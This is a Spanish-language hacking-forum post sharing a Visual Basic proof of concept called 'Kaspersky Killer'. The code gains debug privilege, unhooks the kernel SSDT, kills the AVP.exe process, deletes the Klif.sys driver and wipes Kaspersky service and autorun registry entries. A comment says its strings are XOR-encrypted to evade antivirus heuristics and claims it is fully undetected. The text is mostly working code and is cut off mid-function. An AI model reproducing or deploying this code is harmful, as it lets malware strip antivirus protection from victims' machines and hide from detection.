elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [POC] Kaspersky Killer
0 Usuarios y 4 Visitantes están viendo este tema.
Páginas: [1] 2 3 4 Ir Abajo Respuesta Imprimir
Autor Tema: [POC] Kaspersky Killer  (Leído 17,358 veces)
XcryptOR

Desconectado Desconectado

Mensajes: 228



Ver Perfil
[POC] Kaspersky Killer
« en: 13 Abril 2009, 19:55 pm »

Bueno como no he tenido tiempo para depurar el code lo dejo a su dispocisión, espero les sirva como ejemplo




Modulo1:
Código
  1. '---------------------------------------------------------------------------------------
  2. ' Project     : KillKav [Kaspersky Killer]
  3. ' Date        : 19/03/2009 18:10
  4. ' Author      : XcryptOR
  5. ' Purpose     : Kill Kaspersky Antivirus, Delete Klif.sys Driver & Related Registry Entries
  6. ' Versions    : Kaspersky Antivirus 6,7,8, kaspersky 2009 y KIS 2009
  7. ' OS          : Windows XP Sp1, Sp2, Sp3. Vista(it needs some changes but works)
  8. ' Bugs        : When KLIM5.sys (Kaspersky NDIS Filter) Registry entry is delete the next reboot
  9. '               we can't access internet because the filter was not unistalled, the function
  10. '               Clean_TCPIP_Stack do the work, but i can't use when kill kaspersky only in the
  11. '               Next reboot, i believe that is not a problem to fix
  12. '               It can be improve very much it's only a POC
  13. ' Credits     : Iceboy, Syntax_err, and all the chinese Crew of vbgood
  14. '---------------------------------------------------------------------------------------
  15. Private Sub Main()
  16.    EnablePrivilege SE_DEBUG_PRIVILEGE, True
  17.    FindNtdllExport
  18.    GetSSDT
  19.    Fuck_KAV
  20.    KillRegs
  21.  
  22. End Sub
  23. Private Sub Fuck_KAV()
  24.    Dim hProcess        As Long
  25.    Dim Pid             As Long
  26.  
  27.    Pid = GetPIDByName(Crypt("¹®¨ö½ ½")) ' Get The PID By Name in this case AVP.exe
  28.  
  29.    hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, Pid)
  30.    If hProcess = 0 Then
  31.            hProcess = LzOpenProcess(PROCESS_ALL_ACCESS, Pid)
  32.    End If
  33.  
  34.    Call MyTerminateProcess(hProcess, 0)
  35.  
  36.    ' strings are XOR crypted, to avoid some heuristics, the source is FUD: scan on NVT and virustotal
  37.    If DeleteDriver(Crypt("„ç焛ℱ¶¼·¯«„‹¡«¬½µëê„œª±®½ª«„“´±¾ö«¡«")) = True Then '\??\C:\Windows\System32\Drivers\Klif.sys
  38.            MsgBox Crypt("œª±®½ªø“´±¾ö«¡«ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½") & vbCrLf & _
  39.                   Crypt("ùø“¹«¨½ª«³¡ø°¹ø«±¼·ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½øy"), _
  40.                   vbExclamation, Crypt("“¹«¨½ª«³¡ø“±´´½ªøõø›·¼½¼øš¡ø€»ª¡¨¬·ª")
  41.    End If
  42. End Sub
  43.  

Modulo2:
Código
  1. Public Enum SYSTEM_INFORMATION_CLASS
  2.    SystemBasicInformation
  3.    SystemHandleInformation
  4. End Enum
  5.  
  6. Public Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
  7. ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
  8. ByVal pSystemInformation As Long, _
  9. ByVal SystemInformationLength As Long, _
  10. ByRef ReturnLength As Long) As Long
  11.  
  12. Public Type SYSTEM_HANDLE_TABLE_ENTRY_INFO
  13.    UniqueProcessId         As Integer
  14.    CreatorBackTraceIndex   As Integer
  15.    ObjectTypeIndex         As Byte
  16.    HandleAttributes        As Byte
  17.    HandleValue             As Integer
  18.    pObject                 As Long
  19.    GrantedAccess           As Long
  20. End Type
  21.  
  22. Public Type SYSTEM_HANDLE_INFORMATION
  23.    NumberOfHandles         As Long
  24.    Handles(1 To 1)         As SYSTEM_HANDLE_TABLE_ENTRY_INFO
  25. End Type
  26.  
  27. Public Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
  28. Public Const STATUS_ACCESS_DENIED = &HC0000022
  29.  
  30. Public Declare Function ZwWriteVirtualMemory Lib "ntdll.dll" ( _
  31. ByVal ProcessHandle As Long, _
  32. ByVal BaseAddress As Long, _
  33. ByVal pBuffer As Long, _
  34. ByVal NumberOfBytesToWrite As Long, _
  35. ByRef NumberOfBytesWritten As Long) As Long
  36.  
  37. Public Declare Function ZwOpenProcess Lib "ntdll.dll" ( _
  38. ByRef ProcessHandle As Long, _
  39. ByVal AccessMask As Long, _
  40. ByRef ObjectAttributes As OBJECT_ATTRIBUTES, _
  41. ByRef ClientId As CLIENT_ID) As Long
  42.  
  43. Public Type OBJECT_ATTRIBUTES
  44.    Length                  As Long
  45.    RootDirectory           As Long
  46.    ObjectName              As Long
  47.    Attributes              As Long
  48.    SecurityDescriptor      As Long
  49.    SecurityQualityOfService As Long
  50. End Type
  51.  
  52. Public Type CLIENT_ID
  53.    UniqueProcess           As Long
  54.    UniqueThread            As Long
  55. End Type
  56.  
  57. Public Const PROCESS_QUERY_INFORMATION      As Long = &H400
  58. Public Const STATUS_INVALID_CID             As Long = &HC000000B
  59.  
  60. Public Declare Function ZwClose Lib "ntdll.dll" ( _
  61. ByVal ObjectHandle As Long) As Long
  62.  
  63. Public Const ZwGetCurrentProcess            As Long = -1
  64. Public Const ZwGetCurrentThread             As Long = -2
  65. Public Const ZwCurrentProcess               As Long = ZwGetCurrentProcess
  66. Public Const ZwCurrentThread                As Long = ZwGetCurrentThread
  67.  
  68. Public Declare Function ZwCreateJobObject Lib "ntdll.dll" ( _
  69. ByRef JobHandle As Long, _
  70. ByVal DesiredAccess As Long, _
  71. ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long
  72.  
  73. Public Declare Function ZwAssignProcessToJobObject Lib "ntdll.dll" ( _
  74. ByVal JobHandle As Long, _
  75. ByVal ProcessHandle As Long) As Long
  76.  
  77. Public Declare Function ZwTerminateJobObject Lib "ntdll.dll" ( _
  78. ByVal JobHandle As Long, _
  79. ByVal ExitStatus As Long) As Long
  80.  
  81. Public Const OBJ_INHERIT = &H2
  82. Public Const STANDARD_RIGHTS_REQUIRED       As Long = &HF0000
  83. Public Const SYNCHRONIZE                    As Long = &H100000
  84. Public Const JOB_OBJECT_ALL_ACCESS          As Long = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H1F
  85. Public Const PROCESS_DUP_HANDLE             As Long = &H40
  86. Public Const PROCESS_ALL_ACCESS             As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
  87. Public Const THREAD_ALL_ACCESS              As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H3FF)
  88. Public Const OB_TYPE_PROCESS                As Long = &H5
  89.  
  90. Public Type PROCESS_BASIC_INFORMATION
  91.    ExitStatus              As Long
  92.    PebBaseAddress          As Long
  93.    AffinityMask            As Long
  94.    BasePriority            As Long
  95.    UniqueProcessId         As Long
  96.    InheritedFromUniqueProcessId As Long
  97. End Type
  98.  
  99. Public Declare Function ZwDuplicateObject Lib "ntdll.dll" ( _
  100. ByVal SourceProcessHandle As Long, _
  101. ByVal SourceHandle As Long, _
  102. ByVal TargetProcessHandle As Long, _
  103. ByRef TargetHandle As Long, _
  104. ByVal DesiredAccess As Long, _
  105. ByVal HandleAttributes As Long, _
  106. ByVal Options As Long) As Long
  107.  
  108. Public Const DUPLICATE_CLOSE_SOURCE = &H1
  109. Public Const DUPLICATE_SAME_ACCESS = &H2
  110. Public Const DUPLICATE_SAME_ATTRIBUTES = &H4
  111.  
  112. Public Declare Function ZwQueryInformationProcess Lib "ntdll.dll" ( _
  113. ByVal ProcessHandle As Long, _
  114. ByVal ProcessInformationClass As PROCESSINFOCLASS, _
  115. ByVal ProcessInformation As Long, _
  116. ByVal ProcessInformationLength As Long, _
  117. ByRef ReturnLength As Long) As Long
  118.  
  119. Public Enum PROCESSINFOCLASS
  120.        ProcessBasicInformation
  121. End Enum
  122.  
  123. Public Const STATUS_SUCCESS                 As Long = &H0
  124. Public Const STATUS_INVALID_PARAMETER       As Long = &HC000000D
  125.  
  126. Public Declare Function ZwTerminateProcess Lib "ntdll.dll" ( _
  127. ByVal ProcessHandle As Long, _
  128. ByVal ExitStatus As Long) As Long
  129.  
  130. Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  131.  
  132. Public Type SECURITY_ATTRIBUTES
  133.    nLength                 As Long
  134.    lpSecurityDescriptor    As Long
  135.    bInheritHandle          As Long
  136. End Type
  137.  
  138. Public Type a_my
  139.    name                    As String
  140.    Pid                     As Long
  141.    tid                     As Long
  142.    Handle                  As Long
  143. End Type
  144.  
  145. Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
  146. ByVal lpModuleName As String) As Long
  147.  
  148. Public Declare Function GetProcAddress Lib "kernel32" ( _
  149. ByVal hModule As Long, _
  150. ByVal lpProcName As String) As Long
  151.  
  152. Public Function NT_SUCCESS(ByVal Status As Long) As Boolean
  153.          NT_SUCCESS = (Status >= 0)
  154. End Function
  155.  
  156. Public Sub CopyMemory(ByVal Dest As Long, ByVal Src As Long, ByVal cch As Long)
  157. Dim Written As Long
  158.        Call ZwWriteVirtualMemory(ZwCurrentProcess, Dest, Src, cch, Written)
  159. End Sub
  160.  
  161. Public Function IsItemInArray(ByVal dwItem, ByRef dwArray() As Long) As Boolean
  162. Dim Index As Long
  163.        For Index = LBound(dwArray) To UBound(dwArray)
  164.                If (dwItem = dwArray(Index)) Then IsItemInArray = True: Exit Function
  165.        Next
  166.        IsItemInArray = False
  167. End Function
  168.  
  169. Public Sub AddItemToArray(ByVal dwItem As Long, ByRef dwArray() As Long)
  170. On Error GoTo ErrHdl
  171.  
  172.        If (IsItemInArray(dwItem, dwArray)) Then Exit Sub
  173.  
  174.        ReDim Preserve dwArray(UBound(dwArray) + 1)
  175.        dwArray(UBound(dwArray)) = dwItem
  176. ErrHdl:
  177.  
  178. End Sub
  179.  

Modulo3:
Código
  1. Private Declare Function SHDeleteKey Lib "shlwapi.dll" Alias "SHDeleteKeyA" ( _
  2. ByVal hKey As Long, _
  3. ByVal pszSubKey As String) As Long  ' Delete a key and subkeys from registry
  4.  
  5. Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
  6. Alias "RegOpenKeyExA" ( _
  7. ByVal hKey As Long, _
  8. ByVal lpSubKey As String, _
  9. ByVal ulOptions As Long, _
  10. ByVal samDesired As Long, _
  11. phkResult As Long) As Long
  12.  
  13. Private Declare Function RegCloseKey Lib "advapi32.dll" ( _
  14. ByVal hKey As Long) As Long
  15.  
  16. Private Declare Function RegDeleteValue Lib "advapi32.dll" _
  17. Alias "RegDeleteValueA" ( _
  18. ByVal hKey As Long, _
  19. ByVal lpValueName As String) As Long
  20.  
  21. Private Const REG_SZ                                As Long = 1
  22. Private Const REG_EXPAND_SZ                         As Long = 2
  23. Private Const REG_BINARY                            As Long = 3
  24. Private Const REG_DWORD                             As Long = 4
  25. Private Const REG_MULTI_SZ                          As Long = 7
  26.  
  27. Private Const KEY_QUERY_VALUE                       As Long = &H1
  28. Private Const KEY_ALL_ACCESS                        As Long = &H3F
  29. Private Const REG_OPTION_NON_VOLATILE               As Long = 0
  30.  
  31. Private Const HKEY_CLASSES_ROOT                     As Long = &H80000000
  32. Private Const HKEY_CURRENT_CONFIG                   As Long = &H80000005
  33. Private Const HKEY_CURRENT_USER                     As Long = &H80000001
  34. Private Const HKEY_DYN_DATA                         As Long = &H80000006
  35. Private Const HKEY_LOCAL_MACHINE                    As Long = &H80000002
  36. Private Const HKEY_PERFORMANCE_DATA                 As Long = &H80000004
  37. Private Const HKEY_USERS                            As Long = &H80000003
  38. Private Declare Function ZwDeleteFile Lib "ntdll.dll" ( _
  39. ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long
  40.  
  41. Private Declare Sub RtlInitUnicodeString Lib "ntdll.dll" ( _
  42. ByVal DestinationString As Long, _
  43. ByVal SourceString As Long)
  44.  
  45. Private Type UNICODE_STRING
  46.        Length              As Integer
  47.        MaximumLength       As Integer
  48.        Buffer              As String
  49. End Type
  50.  
  51. Private Type OBJECT_ATTRIBUTES
  52.        Length                      As Long
  53.        RootDirectory               As Long
  54.        ObjectName                  As Long
  55.        Attributes                  As Long
  56.        SecurityDescriptor          As Long
  57.        SecurityQualityOfService    As Long
  58. End Type
  59.  
  60. Private Const OBJ_CASE_INSENSITIVE          As Long = &H40
  61.  
  62. Public Const SE_SHUTDOWN_PRIVILEGE          As Long = 19
  63. Public Const SE_DEBUG_PRIVILEGE             As Long = 20
  64.  
  65. Private Const STATUS_NO_TOKEN               As Long = &HC000007C
  66.  
  67. Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" ( _
  68. ByVal Privilege As Long, _
  69. ByVal Enable As Boolean, _
  70. ByVal Client As Boolean, _
  71. WasEnabled As Long) As Long
  72.  
  73. Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" ( _
  74. ByVal lFlags As Long, _
  75. ByVal lProcessID As Long) As Long
  76. '---
  77. Private Declare Function Process32First Lib "kernel32" ( _
  78. ByVal hSnapShot As Long, _
  79. uProcess As PROCESSENTRY32) As Long
  80. '---
  81. Private Declare Function Process32Next Lib "kernel32" ( _
  82. ByVal hSnapShot As Long, _
  83. uProcess As PROCESSENTRY32) As Long
  84. '---
  85. Private Const TH32CS_SNAPHEAPLIST           As Long = &H1
  86. Private Const TH32CS_SNAPPROCESS            As Long = &H2
  87. Private Const TH32CS_SNAPTHREAD             As Long = &H4
  88. Private Const TH32CS_SNAPMODULE             As Long = &H8
  89. Private Const TH32CS_SNAPALL                As Long = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
  90. Private Const MAX_PATH                      As Long = 260
  91.  
  92. Private Type PROCESSENTRY32
  93.        dwSize              As Long
  94.        cntUsage            As Long
  95.        th32ProcessID       As Long
  96.        th32DefaultHeapID   As Long
  97.        th32ModuleID        As Long
  98.        cntThreads          As Long
  99.        th32ParentProcessID As Long
  100.        pcPriClassBase      As Long
  101.        dwFlags             As Long
  102.        szExeFile           As String * MAX_PATH
  103. End Type
  104.  
  105. Public Declare Function WinExec Lib "kernel32" ( _
  106. ByVal lpCmdLine As String, _
  107. ByVal nCmdShow As Long) As Long
  108.  
  109. Public Const SW_HIDE = 0
  110.  
  111. '========================================================================================
  112. '================================ Get ID Process By Name ================================
  113. '========================================================================================
  114. Public Function GetPIDByName(ByVal PName As String) As Long
  115.    Dim hSnapShot       As Long
  116.    Dim uProcess        As PROCESSENTRY32
  117.    Dim t               As Long
  118.    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
  119.    uProcess.dwSize = Len(uProcess)
  120.    PName = LCase(PName)
  121.    t = Process32First(hSnapShot, uProcess)
  122.    Do While t
  123.        t = InStr(1, uProcess.szExeFile, Chr(0))
  124.        If LCase(Left(uProcess.szExeFile, t - 1)) = PName Then
  125.            GetPIDByName = uProcess.th32ProcessID
  126.            Exit Function
  127.        End If
  128.        t = Process32Next(hSnapShot, uProcess)
  129.    Loop
  130. End Function
  131.  
  132. '========================================================================================
  133. '==================================== Get Privileges ====================================
  134. '========================================================================================
  135. Public Function EnablePrivilege(ByVal Privilege As Long, Enable As Boolean) As Boolean
  136.    Dim ntStatus        As Long
  137.    Dim WasEnabled      As Long
  138.    ntStatus = RtlAdjustPrivilege(Privilege, Enable, True, WasEnabled)
  139.    If ntStatus = STATUS_NO_TOKEN Then
  140.        ntStatus = RtlAdjustPrivilege(Privilege, Enable, False, WasEnabled)
  141.    End If
  142.    If ntStatus = 0 Then
  143.        EnablePrivilege = True
  144.    Else
  145.        EnablePrivilege = False
  146.    End If
  147. End Function
  148.  
  149. '========================================================================================
  150. '============================= Simple XOR String Encryption =============================
  151. '========================================================================================
  152. Public Function Crypt(txt As String) As String
  153.    On Error Resume Next
  154.    Dim x       As Long
  155.    Dim PF      As String
  156.    Dim PG      As String
  157.  
  158.    For x = 1 To Len(txt)
  159.        PF = Mid(txt, x, 1)
  160.        PG = Asc(PF)
  161.        Crypt = Crypt & Chr(PG Xor (216 Mod 255))
  162.    Next
  163. End Function
  164.  
  165. '========================================================================================
  166. '====================== Initialize Object Attributes Structure ==========================
  167. '========================================================================================
  168. Private Sub InicializarOA(ByRef InitializedAttributes As OBJECT_ATTRIBUTES, _
  169.                          ByRef ObjectName As UNICODE_STRING, _
  170.                          ByVal Attributes As Long, _
  171.                          ByVal RootDirectory As Long, _
  172.                          ByVal SecurityDescriptor As Long) 'inicializa las propiedades de OBJECT_ATTRIBUTES
  173.        With InitializedAttributes
  174.                .Length = LenB(InitializedAttributes)
  175.                .Attributes = Attributes
  176.                .ObjectName = VarPtr(ObjectName)
  177.                .RootDirectory = RootDirectory
  178.                .SecurityDescriptor = SecurityDescriptor
  179.                .SecurityQualityOfService = 0
  180.        End With
  181. End Sub
  182.  
  183. '========================================================================================
  184. '=============================== Delete KLIF.sys Driver =================================
  185. '========================================================================================
  186. Public Function DeleteDriver(StrDriverPath As String) As Boolean
  187. On Error Resume Next
  188.    Dim OA          As OBJECT_ATTRIBUTES
  189.    Dim UStrPath    As UNICODE_STRING
  190.    RtlInitUnicodeString ByVal VarPtr(UStrPath), StrPtr(StrDriverPath) ' Path debe estar en formato de para APIs Nativas "\??\C:\Windows\System32\Drivers\Klif.sys"
  191.    InicializarOA OA, UStrPath, OBJ_CASE_INSENSITIVE, 0, 0
  192.  
  193.    If NT_SUCCESS(ZwDeleteFile(OA)) Then
  194.        DeleteDriver = True
  195.    End If
  196. End Function
  197.  
  198. '===================================================================================
  199. '================== Delete Registry Entries of all Kasper Services =================
  200. '===================================================================================
  201. Public Sub KillRegs()
  202.    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›­ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„™Žˆ")              '"SYSTEM\CurrentControlSet\Services\AVP"
  203.    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›­ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„³´é")              '"SYSTEM\CurrentControlSet\Services\kl1"
  204.    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›­ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„“”‘ž")             '"SYSTEM\CurrentControlSet\Services\KLIF"
  205.    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›­ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„³´±µí")            '"SYSTEM\CurrentControlSet\Services\klim5"
  206.    DeleteAllKeys GetHKEY(3), Crypt("‹·¾¬¯¹ª½„“¹«¨½ª«³¡”¹º")                              '"Software\KasperskyLab"
  207.    DeleteAllKeys GetHKEY(1), Crypt("›”‹‘œ„£¼¼êëèààèõìáí¹õéé¼éõºèîìõèèàèìཻ꾻í¥")       '"CLSID\{dd230880-495a-11d1-b064-008048ec2fc5}" : Remove from Context Menu
  208.    DeleteKey Crypt("‹·¾¬¯¹ª½„•±»ª·«·¾¬„±¶¼·¯«„›­ªª½¶¬Ž½ª«±·¶„Š­¶"), Crypt("¹®¨"), 3     '"Software\Microsoft\Windows\CurrentVersion\Run", "avp"
  209. End Sub
  210.  
  211. '===================================================================================
  212. '========================= Eliminar el valor del Registro ==========================
  213. '===================================================================================
  214. Public Sub DeleteKey(sKey, nKey, RegKey)
  215.    On Error Resume Next
  216.    Dim RK          As Long
  217.    Dim l           As Long
  218.    Dim hKey        As Long
  219.    l = RegOpenKeyEx(GetHKEY(RegKey), sKey, 0, KEY_ALL_ACCESS, hKey)
  220.    l = RegDeleteValue(hKey, nKey)
  221.    l = RegCloseKey(hKey)
  222. End Sub
  223.  
  224. '===================================================================================
  225. '===================== Delete Keys and Subkeys from Registry =======================
  226. '===================================================================================
  227. Private Sub DeleteAllKeys(hKey As String, key As String)
  228.    Dim lResult As Long
  229.    lResult = SHDeleteKey(hKey, key)
  230. End Sub
  231.  
  232. Private Function GetHKEY(RegKey)
  233.    On Error Resume Next
  234.    Select Case RegKey
  235.        Case 1
  236.        GetHKEY = HKEY_CLASSES_ROOT
  237.        Case 2
  238.        GetHKEY = HKEY_CURRENT_USER
  239.        Case 3
  240.        GetHKEY = HKEY_LOCAL_MACHINE
  241.    End Select
  242. End Function
  243.  
  244. '===================================================================================
  245. '=================== Clean TCP/IP to unistall Klim5.sys NDIS =======================
  246. '===================================================================================
  247. Public Sub Clean_TCPIP_Stack()
  248. WinExec "netsh int ip reset", SW_HIDE
  249. DoEvents
  250. WinExec "netsh winsock reset", SW_HIDE
  251. End Sub
  252.  
  253.  


Modulo4:

Modulo4:
Código
  1. ' -----------------------------------------------------------------------------------
  2. ' Module        : mSSDTUnhook
  3. ' Author        : Iceboy
  4. ' Purpose       : Unhook APIs i used this great work of Iceboy to unhook Apis from Kaspersky
  5. ' -----------------------------------------------------------------------------------
  6. Option Explicit
  7.  
  8. Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
  9. ByVal lpLibFileName As String) As Long
  10.  
  11. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
  12. ByVal pDst As Long, _
  13. ByVal pSrc As Long, _
  14. ByVal ByteLen As Long)
  15.  
  16. Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" ( _
  17. ByVal lpString As Long) As Long
  18.  
  19. Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" ( _
  20. ByVal lpLibFileName As Long, _
  21. ByVal hFile As Long, _
  22. ByVal dwFlags As Long) As Long
  23.  
  24. Private Declare Function FreeLibrary Lib "kernel32" ( _
  25. ByVal hLibModule As Long) As Long
  26.  
  27. Private Declare Function GetProcAddress Lib "kernel32" ( _
  28. ByVal hModule As Long, _
  29. ByVal lpProcName As String) As Long
  30.  
  31. Private Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
  32. ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
  33. ByVal pSystemInformation As Long, _
  34. ByVal SystemInformationLength As Long, _
  35. ByVal pReturnLength As Long) As Long
  36.  
  37. Private Declare Function ZwSystemDebugControl Lib "ntdll.dll" ( _
  38. ByVal ControlCode As SYSDBG_COMMAND, _
  39. ByVal pInputBuffer As Long, _
  40. ByVal InputBufferLength As Long, _
  41. ByVal pOutputBuffer As Long, _
  42. ByVal OutputBufferLength As Long, _
  43. ByVal pReturnLength As Long) As Long
  44.  
  45. Public Enum SYSDBG_COMMAND
  46.    SysDbgReadVirtualMemory = 8
  47.    SysDbgWriteVirtualMemory = 9
  48. End Enum
  49.  
  50. Private Enum SYSTEM_INFORMATION_CLASS
  51.    SystemModuleInformation = 11
  52. End Enum
  53.  
  54. Private Type IMAGE_DOS_HEADER
  55.    e_magic                 As Integer
  56.    Unused(0 To 57)         As Byte
  57.    e_lfanew                As Long
  58. End Type
  59.  
  60. Private Type IMAGE_NT_HEADER
  61.    Signature               As Long
  62.    Unused1(0 To 15)        As Byte
  63.    SizeOfOptionalHeader    As Integer
  64.    Characteristics         As Integer
  65.    Magic                   As Integer
  66.    Unused3(0 To 25)        As Byte
  67.    ImageBase               As Long
  68.    Unused4(0 To 23)        As Byte
  69.    SizeOfImage             As Long
  70.    Unused5(0 To 31)        As Byte
  71.    NumberOfRvaAndSizes     As Long
  72.    ExportTableRva          As Long
  73.    ExportTableSize         As Long
  74.    Unused6(0 To 31)        As Byte
  75.    RelocationTableRva      As Long
  76.    RelocationTableSize     As Long
  77. End Type
  78.  
  79. Private Type IMAGE_EXPORT_DIRECTORY
  80.    Unused(0 To 11)         As Byte
  81.    name                    As Long
  82.    Base                    As Long
  83.    NumberOfFunctions       As Long
  84.    NumberOfNames           As Long
  85.    AddressOfFunctions      As Long
  86.    AddressOfNames          As Long
  87.    AddressOfOrdinals       As Long
  88. End Type
  89.  
  90. Private Type IMAGE_BASE_RELOCATION
  91.    VirtualAddress          As Long
  92.    SizeOfBlock             As Long
  93. End Type
  94.  
  95. Private Type IMAGE_FIXED_ENTRY
  96.    Offset                  As Long
  97.    Type                    As Long
  98. End Type
  99.  
  100. Private Type ModuleInformation
  101.    Reserved(7)             As Byte
  102.    Base                    As Long
  103.    Size                    As Long
  104.    Flags                   As Long
  105.    Index                   As Integer
  106.    Unknown                 As Integer
  107.    Loadcount               As Integer
  108.    ModuleNameOffset        As Integer
  109.    ImageName(250)          As long
  110. End Type
  111.  
  112. Private Type MEMORY_CHUNKS
  113.    Address                 As Long
  114.    pData                   As Long
  115.    Length                  As Long
  116. End Type
  117.  
  118. Private Const DONT_RESOLVE_DLL_REFERENCES   As Long = 1
  119. Private Const IMAGE_REL_BASED_HIGHLOW       As Long = 3
  120. Private Const IMAGE_FILE_RELOCS_STRIPPED    As Integer = 1
  121.  
  122. Dim FuncName(1023)                          As String
  123. Dim Address1(1023)                          As Long
  124. Dim Address2(1023)                          As Long
  125. Dim ModuleName(1023)                        As String
  126.  
  127. Dim dwServices                              As Long
  128. Dim dwKernelBase                            As Long
  129. Dim dwKiServiceTable                        As Long
  130.  
  131. Public Sub RecoverSSDT(ByVal num As Long)
  132.    Address2(num) = Address1(num)
  133. End Sub
  134.  
  135. Public Sub WriteSSDT()
  136.    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
  137.    With QueryBuff
  138.        .Address = dwKiServiceTable + dwKernelBase
  139.        .pData = VarPtr(Address2(0))
  140.        .Length = dwServices * 4
  141.        ZwSystemDebugControl SysDbgWriteVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
  142.        If ReturnLength <> .Length Then MsgBox "SSDT Cannot Write", vbCritical
  143.    End With
  144. End Sub
  145.  
  146. Private Function ModuleInformationFromPtr(ByVal pmi As Long) As ModuleInformation
  147.    CopyMemory VarPtr(ModuleInformationFromPtr), pmi, 284
  148. End Function
  149.  
  150. Private Function BaseRelocationFromPtr(ByVal pbr As Long) As IMAGE_BASE_RELOCATION
  151.    CopyMemory VarPtr(BaseRelocationFromPtr), pbr, 8
  152. End Function
  153.  
  154. Private Function FixedEntryFromPtr(ByVal pfe As Long) As IMAGE_FIXED_ENTRY
  155.    Dim tmp As Integer
  156.    CopyMemory VarPtr(tmp), pfe, 2
  157.    FixedEntryFromPtr.Offset = tmp And 4095
  158.    CopyMemory VarPtr(tmp), pfe + 1, 1
  159.    FixedEntryFromPtr.Type = (tmp And 240) \ 16
  160. End Function
  161.  
  162. Private Function DwordFromPtr(ByVal pdword As Long) As Long
  163.    CopyMemory VarPtr(DwordFromPtr), pdword, 4
  164. End Function
  165.  
  166. Private Function WordFromPtr(ByVal pword As Long) As Long
  167.    CopyMemory VarPtr(WordFromPtr), pword, 2
  168. End Function
  169.  
  170. Private Function FindKiServiceTable(ByVal hModule As Long, ByVal dwKSDT As Long) As Long
  171.    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
  172.    Dim pbr As Long, pfe As Long, bFirstChunk As Boolean, I As Long, forto As Long
  173.    Dim dwFixups As Long, dwPointerRva As Long, dwPointsToRva As Long
  174.    CopyMemory VarPtr(DosHeader), hModule, 64
  175.    With DosHeader
  176.        Assert .e_magic = &H5A4D
  177.        CopyMemory VarPtr(NtHeader), hModule + .e_lfanew, 168
  178.    End With
  179.    bFirstChunk = True
  180.    Do While bFirstChunk Or CBool(BaseRelocationFromPtr(pbr).VirtualAddress)
  181.        bFirstChunk = False
  182.        pfe = pbr + 8
  183.        forto = (BaseRelocationFromPtr(pbr).SizeOfBlock - 8) \ 2 - 1
  184.        For I = 0 To forto
  185.            If FixedEntryFromPtr(pfe).Type = IMAGE_REL_BASED_HIGHLOW Then
  186.                dwFixups = dwFixups + 1
  187.                dwPointerRva = BaseRelocationFromPtr(pbr).VirtualAddress + FixedEntryFromPtr(pfe).Offset
  188.                dwPointsToRva = DwordFromPtr(hModule + dwPointerRva) - NtHeader.ImageBase
  189.                If dwPointsToRva = dwKSDT Then
  190.                    If WordFromPtr(hModule + dwPointerRva - 2) = &H5C7 Then
  191.                        FindKiServiceTable = DwordFromPtr(hModule + dwPointerRva + 4) - NtHeader.ImageBase
  192.                        Exit Function
  193.                    End If
  194.                End If
  195.            End If
  196.            pfe = pfe + 2
  197.        Next
  198.        pbr = pbr + BaseRelocationFromPtr(pbr).SizeOfBlock
  199.    Loop
  200. End Function
  201.  
  202. Private Function AddZero(ByVal Text As String, ByVal Length As Long) As String
  203.    AddZero = String(Length - Len(Text), "0") & Text
  204. End Function
  205.  
  206. Public Sub GetSSDT()
  207. On Error Resume Next
  208.    Dim I As Long, j As Long, Length As Long, Buff() As Byte, pKernelName As Long, hKernel As Long
  209.    Dim dwKSDT As Long, pService As Long, DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
  210.    dwServices = 0
  211.    ZwQuerySystemInformation SystemModuleInformation, 0, 0, VarPtr(Length)
  212.    ReDim Buff(Length - 1)
  213.    ZwQuerySystemInformation SystemModuleInformation, VarPtr(Buff(0)), Length, 0
  214.    With ModuleInformationFromPtr(VarPtr(Buff(4)))
  215.        dwKernelBase = .Base
  216.        pKernelName = VarPtr(.ImageName(0)) + .ModuleNameOffset
  217.    End With
  218.    hKernel = LoadLibraryEx(pKernelName, 0, DONT_RESOLVE_DLL_REFERENCES)
  219.    dwKSDT = GetProcAddress(hKernel, "KeServiceDescriptorTable")
